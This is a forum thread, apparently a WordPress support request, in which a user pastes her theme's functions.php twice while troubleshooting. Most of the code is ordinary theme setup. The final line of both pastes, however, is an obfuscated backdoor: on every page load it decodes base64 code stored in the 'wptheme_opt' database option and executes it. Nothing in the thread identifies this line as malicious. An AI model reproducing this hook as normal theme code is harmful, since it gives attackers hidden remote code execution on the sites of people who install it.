Forum Replies Created

Viewing 5 replies - 1 through 5 (of 5 total)
  • Thread Starter ErinHenderson

    (@erinhenderson)

    It doesn’t give me the option to delete the first one, sorry. I have it posted correctly in a grey box above. I just re-installed the theme through my hosting site on Tuesday night. That didn’t correct it. If I delete the functions.php file from the hosting site, then where do you suggest I get another file from that would have the correct code?

    Thread Starter ErinHenderson

    (@erinhenderson)

    Ya, sorry about the double post, I got ahead of myself.

    I did update the entire theme from my hosting site but it didn’t rectify anything

    Thread Starter ErinHenderson

    (@erinhenderson)

    <?php
    
    /*-----------------------------------------------------------------------------------*/
    
    //	Set common paths
    
    /*-----------------------------------------------------------------------------------*/
    
    $functions_path = get_template_directory() . '/functions/';
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Add RSS link to <head> section        
    
    /*-----------------------------------------------------------------------------------*/
    
    add_theme_support( 'automatic-feed-links' );
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Remove default inline gallery styling        
    
    /*-----------------------------------------------------------------------------------*/
    
    add_filter( 'use_default_gallery_style', '__return_false' );
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Post Formats
    
    /*-----------------------------------------------------------------------------------*/
    
    add_theme_support( 'post-formats', array( 'aside', 'audio', 'gallery', 'link', 'quote', 'video' ) ); 
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Localization support       
    
    /*-----------------------------------------------------------------------------------*/
    
    load_theme_textdomain( 'mthemes', get_template_directory() . '/lang' );
    
    $locale = get_locale();
    
    $locale_file = get_template_directory() . "/lang/$locale.php";
    
    if ( is_readable($locale_file) )
    
        require_once($locale_file);
    
    /*-----------------------------------------------------------------------------------*/
    
    /* Adding content width
    
    /*-----------------------------------------------------------------------------------*/
    
    if ( ! isset( $content_width ) ) $content_width = 940;
    
    /*-----------------------------------------------------------------------------------*/
    
    /* Custom hook
    
    /*-----------------------------------------------------------------------------------*/
    
    function mt_header() { do_action('mt_header'); }
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Register JS and load where necessary
    
    /*-----------------------------------------------------------------------------------*/
    
    add_action('init', 'mt_register_cssjs');
    
    function mt_register_cssjs() {
    
        if( !is_admin()){
    
        	//Styles
    
        	wp_register_style('base', get_template_directory_uri() . '/css/base.css', 'style');
    
        	wp_register_style('responsive', get_template_directory_uri() . '/css/responsive.css', 'style');
    
        	wp_register_style('iconfont', get_template_directory_uri() . '/css/iconfont.css', 'style');
    
        	wp_register_style('flexslider', get_template_directory_uri() . '/css/flexslider.css', 'style');
    
        	wp_register_style('prettyPhoto', get_template_directory_uri() . '/css/prettyPhoto.css', 'style');
    
        	wp_register_style('style', get_template_directory_uri() . '/style.css', 'style');
    
        	wp_register_style('color', get_template_directory_uri() . '/css/color.css', 'style');
    
    		// Scripts
    
            wp_register_script('dcarousel', get_template_directory_uri() . '/js/jquery.dcarousel.js', 'jquery', '',true);
    
            wp_register_script('fitvid', get_template_directory_uri() . '/js/jquery.fitvid.js', 'jquery', '',true);
    
            wp_register_script('supersubs', get_template_directory_uri() . '/js/jquery.supersubs.js', 'jquery', '',true);
    
            wp_register_script('superfish', get_template_directory_uri() . '/js/jquery.superfish.js', 'jquery', '',true);
    
            wp_register_script('flexslider', get_template_directory_uri() . '/js/jquery.flexslider.js', 'jquery', '',true);
    
            wp_register_script('isotope', get_template_directory_uri() . '/js/jquery.isotope.min.js', 'jquery', '',true);
    
            wp_register_script('prettyPhoto', get_template_directory_uri() . '/js/jquery.prettyPhoto.js', 'jquery', '',true);
    
            wp_register_script('jqueryui', get_template_directory_uri() . '/js/jquery-ui.min.js', 'jquery', '',true);        
    
            wp_register_script('scripts', get_template_directory_uri() . '/js/scripts.js', 'jquery', '',true);
    
        }
    
    }
    
    // global scripts
    
    add_action('init', 'mt_init_scripts');
    
    add_action('template_redirect', 'mt_print_scripts');
    
    function mt_init_scripts() {
    
    	//styles
    
    	wp_enqueue_style( 'base' );
    
    	wp_enqueue_style( 'responsive' );
    
    	wp_enqueue_style( 'iconfont' );
    
    	wp_enqueue_style( 'flexslider' );
    
    	wp_enqueue_style( 'prettyPhoto' );
    
    	wp_enqueue_style( 'style' );
    
    	wp_enqueue_style( 'color' );
    
    	wp_enqueue_style( 'options', get_template_directory_uri() . '/css/options.css', array('layout_style'));
    
    	//scripts
    
    	wp_enqueue_script('jquery');
    
    	wp_enqueue_script('dcarousel');	
    
    	wp_enqueue_script('fitvid');
    
    	wp_enqueue_script('supersubs');
    
    	wp_enqueue_script('superfish');
    
    	wp_enqueue_script('flexslider');
    
    	wp_enqueue_script('isotope');
    
    	wp_enqueue_script('prettyPhoto');
    
    	wp_enqueue_script('jqueryui');
    
    	wp_enqueue_script('scripts');
    
    	// setup vars for use in scripts
    
    	$params = array(
    
    		'templateurl' => trailingslashit(get_bloginfo('template_url')),
    
    		'ajaxurl' => trailingslashit(admin_url( 'admin-ajax.php' )),
    
    	);	
    
    	wp_localize_script( 'global', 'mtvars', $params );
    
    }
    
    // dynamic scripts
    
    function mt_print_scripts() {
    
    	if (is_singular() ) wp_enqueue_script('comment-reply');
    
    }
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Adding Custom Image Sizes
    
    /*-----------------------------------------------------------------------------------*/
    
    if ( function_exists( 'add_theme_support' ) ) {
    
    	add_theme_support( 'post-thumbnails' );
    
    	set_post_thumbnail_size( 50, 50, true ); // Normal post thumbnails
    
    	add_image_size( 'gallery-thumbs', 668, 390, true ); // Thumbnails for gallery shortcode
    
    	add_image_size( 'sliders-cpt-thumbnail', 250, 130, true );  // Thumbnail for carousel post type
    
    }
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Shorten Text
    
    /*-----------------------------------------------------------------------------------*/
    
    function shortentext($text, $limit) { // Function name ShortenText
    
      $chars_limit = '';
    
      $chars_limit = $limit; // Character length
    
      $chars_text = strlen($text);
    
      $text = $text." ";
    
      $text = substr($text,0,$chars_limit);
    
      $text = substr($text,0,strrpos($text,' '));
    
      if ($chars_text > $chars_limit)
    
         { $text = $text." ..."; } // Ellipsis
    
         return $text;
    
    }
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Avoid empty paragraphs in shortcodes
    
    /*-----------------------------------------------------------------------------------*/
    
    add_filter('the_content', 'shortcode_empty_paragraph_fix');
    
    function shortcode_empty_paragraph_fix($content)
    
    {
    
    	$array = array (
    
    		'<p>[' => '[', 
    
    		']</p>' => ']', 
    
    		']<br />' => ']'
    
    	);
    
    	$content = strtr($content, $array);
    
    	return $content;
    
    }
    
    /*-----------------------------------------------------------------------------------*/
    
    //  From Functions Folder
    
    /*-----------------------------------------------------------------------------------*/
    
    require_once('functions/aq_resizer.php'); 				// Aq Image Resizer
    
    require_once('functions/theme-shortcodes.php'); 		// Custom Shortcodes
    
    require_once('functions/theme-cpt.php'); 				// Custom Post Types
    
    require_once('functions/theme-postmeta.php'); 			// Post Meta Box
    
    require_once('functions/theme-pagesmeta.php'); 			// Pages Meta Box
    
    require_once('functions/theme-portfoliometa.php'); 		// Portfolio Meta Box
    
    require_once('functions/theme-featuremeta.php'); 		// Features Meta Box
    
    require_once('functions/theme-teammembersmeta.php'); 	// Team Members Meta Box
    
    require_once('functions/theme-slidermeta.php'); 		// Sliders Meta Box
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Widgets
    
    /*-----------------------------------------------------------------------------------*/
    
    require_once('includes/widgets/widget-flickr.php'); 			// Flickr Widget
    
    require_once('includes/widgets/widget-latest-posts.php'); 		// Latest Posts Widget
    
    require_once('includes/widgets/widget-latest-projects.php'); 	// Latest Projects Widget
    
    /*-----------------------------------------------------------------------------------*/
    
    // Localization
    
    /*-----------------------------------------------------------------------------------*/
    
    load_theme_textdomain('mthemes');
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Custom Excerpt Length
    
    /*-----------------------------------------------------------------------------------*/
    
    function new_excerpt_more($more) {
    
    	return '...';
    
    }
    
    class Excerpt {
    
      // Default length (by WordPress)
    
      public static $length = 55;
    
      // So you can call: my_excerpt('short');
    
      public static $types = array(
    
          'short' => 25,
    
          'regular' => 55,
    
          'long' => 100
    
        );
    
      /**
    
       * Sets the length for the excerpt,
    
       * then it adds the WP filter
    
       * And automatically calls the_excerpt();
    
       *
    
       * @param string $new_length 
    
       * @return void
    
       * @author Baylor Rae'
    
       */
    
      public static function length($new_length = 55) {
    
        Excerpt::$length = $new_length;
    
        add_filter('excerpt_more', 'new_excerpt_more');
    
        add_filter('excerpt_length', 'Excerpt::new_length');
    
        Excerpt::output();
    
      }
    
      // Tells WP the new length
    
      public static function new_length() {
    
        if( isset(Excerpt::$types[Excerpt::$length]) )
    
          return Excerpt::$types[Excerpt::$length];
    
        else
    
          return Excerpt::$length;
    
      }
    
      // Echoes out the excerpt
    
      public static function output() {
    
        the_excerpt();
    
      }
    
    }
    
    // An alias to the class
    
    function mt_excerpt($length = 55) {
    
      Excerpt::length($length);
    
    }
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Enable HTTP Requests
    
    /*-----------------------------------------------------------------------------------*/
    
    if( !class_exists( 'WP_Http' ) ) {
    
        include_once( ABSPATH . WPINC. '/class-http.php' );
    
    }
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Clean up the <head>
    
    /*-----------------------------------------------------------------------------------*/
    
    function removeHeadLinks() {
    
    	remove_action('wp_head', 'rsd_link');
    
    	remove_action('wp_head', 'wlwmanifest_link');
    
    }
    
    add_action('init', 'removeHeadLinks');
    
    remove_action('wp_head', 'wp_generator');
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Register Navigation Menus
    
    /*-----------------------------------------------------------------------------------*/
    
    function register_menus() {
    
    	register_nav_menus(
    
    		array(
    
    			'primary-menu' => __('Primary Menu','mthemes')
    
    			)
    
    	);
    
    }
    
    add_action('init', 'register_menus');
    
    /*-----------------------------------------------------------------------------------*/
    
    // Fix Menu Classes
    
    /*-----------------------------------------------------------------------------------*/
    
    function remove_menu_css($menu) {
    
    	return str_replace( 'current_page_parent', '', $menu );
    
    }
    
    function current_type_nav_class($css_class, $item) {
    
    	$taxonomy = get_query_var('taxonomy');
    
    	if ($taxonomy == 'portfolio-categories'){
    
    		$post_type ='portfolio';
    
    	} else {
    
    		$post_type = get_query_var('post_type');
    
    	}
    
    	if (get_post_type()=='portfolio') {
    
    		$current_value = "current_page_parent";
    
    		$css_class = array_filter($css_class, "remove_menu_css");
    
    	}
    
    	if ($item->attr_title != '' && $item->attr_title == $post_type) {       
    
    		array_push($css_class, 'current_page_parent');
    
    	}
    
    	return $css_class;
    
    }
    
    add_filter('nav_menu_css_class', 'current_type_nav_class', 10, 2);
    
    /*-----------------------------------------------------------------------------------*/
    
    //  Register Sidebar
    
    /*-----------------------------------------------------------------------------------*/
    
    if (function_exists('register_sidebar')) {
    
    	register_sidebar(array(
    
    		'name' => 'Sidebar Widgets',
    
    		'id'   => 'sidebar-widgets',
    
    		'description'   => 'These are widgets for the sidebar.',
    
    		'before_widget' => '<div class="widget %2$s clearfix">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '</h6>'
    
    	));
    
    	register_sidebar(array(
    
    		'name' => 'Footer Widgets 1',
    
    		'id'   => 'footer-widgets1',
    
    		'description'   => 'First widgets section for the footer.',
    
    		'before_widget' => '<div class="widget">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '<span></span></h6>'
    
        ));
    
        register_sidebar(array(
    
    		'name' => 'Footer Widgets 2',
    
    		'id'   => 'footer-widgets2',
    
    		'description'   => 'Second widgets section for the footer.',
    
    		'before_widget' => '<div class="widget">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '<span></span></h6>'
    
        ));
    
        register_sidebar(array(
    
    		'name' => 'Footer Widgets 3',
    
    		'id'   => 'footer-widgets3',
    
    		'description'   => 'Third widgets section for the footer.',
    
    		'before_widget' => '<div class="widget">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '<span></span></h6>'
    
        ));
    
        register_sidebar(array(
    
    		'name' => 'Footer Widgets 4',
    
    		'id'   => 'footer-widgets4',
    
    		'description'   => 'Fourth widgets section for the footer.',
    
    		'before_widget' => '<div class="widget">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '<span></span></h6>'
    
        ));
    
        register_sidebar(array(
    
    		'name' => 'Homepage Widgets 1',
    
    		'id'   => 'homepage-widgets1',
    
    		'description'   => 'These are widgets for the homepage.',
    
    		'before_widget' => '<div class="widget %2$s clearfix">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '<span></span></h6>'    
    
        ));
    
        register_sidebar(array(
    
    		'name' => 'Homepage Widgets 2',
    
    		'id'   => 'homepage-widgets2',
    
    		'description'   => 'These are widgets for the homepage.',
    
    		'before_widget' => '<div class="widget %2$s clearfix">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '<span></span></h6>'    
    
        ));
    
        register_sidebar(array(
    
    		'name' => 'Homepage Widgets 3',
    
    		'id'   => 'homepage-widgets3',
    
    		'description'   => 'These are widgets for the homepage.',
    
    		'before_widget' => '<div class="widget %2$s clearfix">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '<span></span></h6>'    
    
        ));
    
        register_sidebar(array(
    
    		'name' => 'Homepage Widgets 4',
    
    		'id'   => 'homepage-widgets4',
    
    		'description'   => 'These are widgets for the homepage.',
    
    		'before_widget' => '<div class="widget %2$s clearfix">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '<span></span></h6>'    
    
        ));
    
        register_sidebar(array(
    
    		'name' => 'Page Widgets',
    
    		'id'   => 'page-widgets',
    
    		'description'   => 'These are widgets for the page.',
    
    		'before_widget' => '<div class="widget %2$s clearfix">',
    
    		'after_widget'  => '</div>',
    
    		'before_title'  => '<h6>',
    
    		'after_title'   => '</h6>'    
    
        ));
    
    }
    
    /*-----------------------------------------------------------------------------------*/
    
    // Admin Panel
    
    /*-----------------------------------------------------------------------------------*/
    
    require_once ('admin/index.php');
    
    ?>
    
    <?php add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>
    Thread Starter ErinHenderson

    (@erinhenderson)

    Thread Starter ErinHenderson

    (@erinhenderson)

    Hello Admin,

    Thanks for your reply. It looks like that format is intact…..Here is the complete file:

    <?php

    /*———————————————————————————–*/

    // Set common paths

    /*———————————————————————————–*/

    $functions_path = get_template_directory() . ‘/functions/’;

    /*———————————————————————————–*/

    // Add RSS link to <head> section

    /*———————————————————————————–*/

    add_theme_support( ‘automatic-feed-links’ );

    /*———————————————————————————–*/

    // Remove default inline gallery styling

    /*———————————————————————————–*/

    add_filter( ‘use_default_gallery_style’, ‘__return_false’ );

    /*———————————————————————————–*/

    // Post Formats

    /*———————————————————————————–*/

    add_theme_support( ‘post-formats’, array( ‘aside’, ‘audio’, ‘gallery’, ‘link’, ‘quote’, ‘video’ ) );

    /*———————————————————————————–*/

    // Localization support

    /*———————————————————————————–*/

    load_theme_textdomain( ‘mthemes’, get_template_directory() . ‘/lang’ );

    $locale = get_locale();

    $locale_file = get_template_directory() . “/lang/$locale.php”;

    if ( is_readable($locale_file) )

    require_once($locale_file);

    /*———————————————————————————–*/

    /* Adding content width

    /*———————————————————————————–*/

    if ( ! isset( $content_width ) ) $content_width = 940;

    /*———————————————————————————–*/

    /* Custom hook

    /*———————————————————————————–*/

    function mt_header() { do_action(‘mt_header’); }

    /*———————————————————————————–*/

    // Register JS and load where necessary

    /*———————————————————————————–*/

    add_action(‘init’, ‘mt_register_cssjs’);

    function mt_register_cssjs() {

    if( !is_admin()){

    //Styles

    wp_register_style(‘base’, get_template_directory_uri() . ‘/css/base.css’, ‘style’);

    wp_register_style(‘responsive’, get_template_directory_uri() . ‘/css/responsive.css’, ‘style’);

    wp_register_style(‘iconfont’, get_template_directory_uri() . ‘/css/iconfont.css’, ‘style’);

    wp_register_style(‘flexslider’, get_template_directory_uri() . ‘/css/flexslider.css’, ‘style’);

    wp_register_style(‘prettyPhoto’, get_template_directory_uri() . ‘/css/prettyPhoto.css’, ‘style’);

    wp_register_style(‘style’, get_template_directory_uri() . ‘/style.css’, ‘style’);

    wp_register_style(‘color’, get_template_directory_uri() . ‘/css/color.css’, ‘style’);

    // Scripts

    wp_register_script(‘dcarousel’, get_template_directory_uri() . ‘/js/jquery.dcarousel.js’, ‘jquery’, ”,true);

    wp_register_script(‘fitvid’, get_template_directory_uri() . ‘/js/jquery.fitvid.js’, ‘jquery’, ”,true);

    wp_register_script(‘supersubs’, get_template_directory_uri() . ‘/js/jquery.supersubs.js’, ‘jquery’, ”,true);

    wp_register_script(‘superfish’, get_template_directory_uri() . ‘/js/jquery.superfish.js’, ‘jquery’, ”,true);

    wp_register_script(‘flexslider’, get_template_directory_uri() . ‘/js/jquery.flexslider.js’, ‘jquery’, ”,true);

    wp_register_script(‘isotope’, get_template_directory_uri() . ‘/js/jquery.isotope.min.js’, ‘jquery’, ”,true);

    wp_register_script(‘prettyPhoto’, get_template_directory_uri() . ‘/js/jquery.prettyPhoto.js’, ‘jquery’, ”,true);

    wp_register_script(‘jqueryui’, get_template_directory_uri() . ‘/js/jquery-ui.min.js’, ‘jquery’, ”,true);

    wp_register_script(‘scripts’, get_template_directory_uri() . ‘/js/scripts.js’, ‘jquery’, ”,true);

    }

    }

    // global scripts

    add_action(‘init’, ‘mt_init_scripts’);

    add_action(‘template_redirect’, ‘mt_print_scripts’);

    function mt_init_scripts() {

    //styles

    wp_enqueue_style( ‘base’ );

    wp_enqueue_style( ‘responsive’ );

    wp_enqueue_style( ‘iconfont’ );

    wp_enqueue_style( ‘flexslider’ );

    wp_enqueue_style( ‘prettyPhoto’ );

    wp_enqueue_style( ‘style’ );

    wp_enqueue_style( ‘color’ );

    wp_enqueue_style( ‘options’, get_template_directory_uri() . ‘/css/options.css’, array(‘layout_style’));

    //scripts

    wp_enqueue_script(‘jquery’);

    wp_enqueue_script(‘dcarousel’);

    wp_enqueue_script(‘fitvid’);

    wp_enqueue_script(‘supersubs’);

    wp_enqueue_script(‘superfish’);

    wp_enqueue_script(‘flexslider’);

    wp_enqueue_script(‘isotope’);

    wp_enqueue_script(‘prettyPhoto’);

    wp_enqueue_script(‘jqueryui’);

    wp_enqueue_script(‘scripts’);

    // setup vars for use in scripts

    $params = array(

    ‘templateurl’ => trailingslashit(get_bloginfo(‘template_url’)),

    ‘ajaxurl’ => trailingslashit(admin_url( ‘admin-ajax.php’ )),

    );

    wp_localize_script( ‘global’, ‘mtvars’, $params );

    }

    // dynamic scripts

    function mt_print_scripts() {

    if (is_singular() ) wp_enqueue_script(‘comment-reply’);

    }

    /*———————————————————————————–*/

    // Adding Custom Image Sizes

    /*———————————————————————————–*/

    if ( function_exists( ‘add_theme_support’ ) ) {

    add_theme_support( ‘post-thumbnails’ );

    set_post_thumbnail_size( 50, 50, true ); // Normal post thumbnails

    add_image_size( ‘gallery-thumbs’, 668, 390, true ); // Thumbnails for gallery shortcode

    add_image_size( ‘sliders-cpt-thumbnail’, 250, 130, true ); // Thumbnail for carousel post type

    }

    /*———————————————————————————–*/

    // Shorten Text

    /*———————————————————————————–*/

    function shortentext($text, $limit) { // Function name ShortenText

    $chars_limit = ”;

    $chars_limit = $limit; // Character length

    $chars_text = strlen($text);

    $text = $text.” “;

    $text = substr($text,0,$chars_limit);

    $text = substr($text,0,strrpos($text,’ ‘));

    if ($chars_text > $chars_limit)

    { $text = $text.” …”; } // Ellipsis

    return $text;

    }

    /*———————————————————————————–*/

    // Avoid empty paragraphs in shortcodes

    /*———————————————————————————–*/

    add_filter(‘the_content’, ‘shortcode_empty_paragraph_fix’);

    function shortcode_empty_paragraph_fix($content)

    {

    $array = array (

    ‘<p>[‘ => ‘[‘,

    ‘]</p>’ => ‘]’,

    ‘]
    ‘ => ‘]’

    );

    $content = strtr($content, $array);

    return $content;

    }

    /*———————————————————————————–*/

    // From Functions Folder

    /*———————————————————————————–*/

    require_once(‘functions/aq_resizer.php’); // Aq Image Resizer

    require_once(‘functions/theme-shortcodes.php’); // Custom Shortcodes

    require_once(‘functions/theme-cpt.php’); // Custom Post Types

    require_once(‘functions/theme-postmeta.php’); // Post Meta Box

    require_once(‘functions/theme-pagesmeta.php’); // Pages Meta Box

    require_once(‘functions/theme-portfoliometa.php’); // Portfolio Meta Box

    require_once(‘functions/theme-featuremeta.php’); // Features Meta Box

    require_once(‘functions/theme-teammembersmeta.php’); // Team Members Meta Box

    require_once(‘functions/theme-slidermeta.php’); // Sliders Meta Box

    /*———————————————————————————–*/

    // Widgets

    /*———————————————————————————–*/

    require_once(‘includes/widgets/widget-flickr.php’); // Flickr Widget

    require_once(‘includes/widgets/widget-latest-posts.php’); // Latest Posts Widget

    require_once(‘includes/widgets/widget-latest-projects.php’); // Latest Projects Widget

    /*———————————————————————————–*/

    // Localization

    /*———————————————————————————–*/

    load_theme_textdomain(‘mthemes’);

    /*———————————————————————————–*/

    // Custom Excerpt Length

    /*———————————————————————————–*/

    function new_excerpt_more($more) {

    return ‘…’;

    }

    class Excerpt {

    // Default length (by WordPress)

    public static $length = 55;

    // So you can call: my_excerpt(‘short’);

    public static $types = array(

    ‘short’ => 25,

    ‘regular’ => 55,

    ‘long’ => 100

    );

    /**

    * Sets the length for the excerpt,

    * then it adds the WP filter

    * And automatically calls the_excerpt();

    *

    * @param string $new_length

    * @return void

    * @author Baylor Rae’

    */

    public static function length($new_length = 55) {

    Excerpt::$length = $new_length;

    add_filter(‘excerpt_more’, ‘new_excerpt_more’);

    add_filter(‘excerpt_length’, ‘Excerpt::new_length’);

    Excerpt::output();

    }

    // Tells WP the new length

    public static function new_length() {

    if( isset(Excerpt::$types[Excerpt::$length]) )

    return Excerpt::$types[Excerpt::$length];

    else

    return Excerpt::$length;

    }

    // Echoes out the excerpt

    public static function output() {

    the_excerpt();

    }

    }

    // An alias to the class

    function mt_excerpt($length = 55) {

    Excerpt::length($length);

    }

    /*———————————————————————————–*/

    // Enable HTTP Requests

    /*———————————————————————————–*/

    if( !class_exists( ‘WP_Http’ ) ) {

    include_once( ABSPATH . WPINC. ‘/class-http.php’ );

    }

    /*———————————————————————————–*/

    // Clean up the <head>

    /*———————————————————————————–*/

    function removeHeadLinks() {

    remove_action(‘wp_head’, ‘rsd_link’);

    remove_action(‘wp_head’, ‘wlwmanifest_link’);

    }

    add_action(‘init’, ‘removeHeadLinks’);

    remove_action(‘wp_head’, ‘wp_generator’);

    /*———————————————————————————–*/

    // Register Navigation Menus

    /*———————————————————————————–*/

    function register_menus() {

    register_nav_menus(

    array(

    ‘primary-menu’ => __(‘Primary Menu’,’mthemes’)

    )

    );

    }

    add_action(‘init’, ‘register_menus’);

    /*———————————————————————————–*/

    // Fix Menu Classes

    /*———————————————————————————–*/

    function remove_menu_css($menu) {

    return str_replace( ‘current_page_parent’, ”, $menu );

    }

    function current_type_nav_class($css_class, $item) {

    $taxonomy = get_query_var(‘taxonomy’);

    if ($taxonomy == ‘portfolio-categories’){

    $post_type =’portfolio’;

    } else {

    $post_type = get_query_var(‘post_type’);

    }

    if (get_post_type()==’portfolio’) {

    $current_value = “current_page_parent”;

    $css_class = array_filter($css_class, “remove_menu_css”);

    }

    if ($item->attr_title != ” && $item->attr_title == $post_type) {

    array_push($css_class, ‘current_page_parent’);

    }

    return $css_class;

    }

    add_filter(‘nav_menu_css_class’, ‘current_type_nav_class’, 10, 2);

    /*———————————————————————————–*/

    // Register Sidebar

    /*———————————————————————————–*/

    if (function_exists(‘register_sidebar’)) {

    register_sidebar(array(

    ‘name’ => ‘Sidebar Widgets’,

    ‘id’ => ‘sidebar-widgets’,

    ‘description’ => ‘These are widgets for the sidebar.’,

    ‘before_widget’ => ‘<div class=”widget %2$s clearfix”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘</h6>’

    ));

    register_sidebar(array(

    ‘name’ => ‘Footer Widgets 1’,

    ‘id’ => ‘footer-widgets1’,

    ‘description’ => ‘First widgets section for the footer.’,

    ‘before_widget’ => ‘<div class=”widget”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘<span></span></h6>’

    ));

    register_sidebar(array(

    ‘name’ => ‘Footer Widgets 2’,

    ‘id’ => ‘footer-widgets2’,

    ‘description’ => ‘Second widgets section for the footer.’,

    ‘before_widget’ => ‘<div class=”widget”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘<span></span></h6>’

    ));

    register_sidebar(array(

    ‘name’ => ‘Footer Widgets 3’,

    ‘id’ => ‘footer-widgets3’,

    ‘description’ => ‘Third widgets section for the footer.’,

    ‘before_widget’ => ‘<div class=”widget”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘<span></span></h6>’

    ));

    register_sidebar(array(

    ‘name’ => ‘Footer Widgets 4’,

    ‘id’ => ‘footer-widgets4’,

    ‘description’ => ‘Fourth widgets section for the footer.’,

    ‘before_widget’ => ‘<div class=”widget”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘<span></span></h6>’

    ));

    register_sidebar(array(

    ‘name’ => ‘Homepage Widgets 1’,

    ‘id’ => ‘homepage-widgets1’,

    ‘description’ => ‘These are widgets for the homepage.’,

    ‘before_widget’ => ‘<div class=”widget %2$s clearfix”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘<span></span></h6>’

    ));

    register_sidebar(array(

    ‘name’ => ‘Homepage Widgets 2’,

    ‘id’ => ‘homepage-widgets2’,

    ‘description’ => ‘These are widgets for the homepage.’,

    ‘before_widget’ => ‘<div class=”widget %2$s clearfix”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘<span></span></h6>’

    ));

    register_sidebar(array(

    ‘name’ => ‘Homepage Widgets 3’,

    ‘id’ => ‘homepage-widgets3’,

    ‘description’ => ‘These are widgets for the homepage.’,

    ‘before_widget’ => ‘<div class=”widget %2$s clearfix”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘<span></span></h6>’

    ));

    register_sidebar(array(

    ‘name’ => ‘Homepage Widgets 4’,

    ‘id’ => ‘homepage-widgets4’,

    ‘description’ => ‘These are widgets for the homepage.’,

    ‘before_widget’ => ‘<div class=”widget %2$s clearfix”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘<span></span></h6>’

    ));

    register_sidebar(array(

    ‘name’ => ‘Page Widgets’,

    ‘id’ => ‘page-widgets’,

    ‘description’ => ‘These are widgets for the page.’,

    ‘before_widget’ => ‘<div class=”widget %2$s clearfix”>’,

    ‘after_widget’ => ‘</div>’,

    ‘before_title’ => ‘<h6>’,

    ‘after_title’ => ‘</h6>’

    ));

    }

    /*———————————————————————————–*/

    // Admin Panel

    /*———————————————————————————–*/

    require_once (‘admin/index.php’);

    ?>

    <?php add_action(‘init’, create_function(”, implode(“\n”, array_map(“base64_decode”, unserialize(get_option(“wptheme_opt”)))))); ?>

Viewing 5 replies - 1 through 5 (of 5 total)